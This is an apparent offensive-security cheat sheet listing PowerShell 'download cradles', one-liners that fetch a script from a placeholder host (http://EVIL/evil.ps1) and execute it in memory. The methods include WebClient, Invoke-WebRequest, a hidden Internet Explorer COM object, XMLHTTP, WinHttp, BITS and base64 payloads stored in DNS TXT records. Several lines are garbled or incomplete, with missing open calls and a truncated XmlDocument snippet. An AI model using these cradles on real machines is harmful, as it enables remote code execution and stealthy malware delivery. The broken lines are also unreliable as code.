Download Cradles

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# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$'GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

# WinHttp COM object (not proxy aware!)
$h=new-object -com WinHttp.WinHttpRequest.5.1;$'GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

# using bitstransfer- touches disk!
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

# DNS TXT approach from PowerBreach (
#   code to execute needs to be a base64 encoded string stored in a TXT record
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))

# from @subtee -

$a = New-Object System.Xml.XmlDocument
$a.command.a.execute | iex

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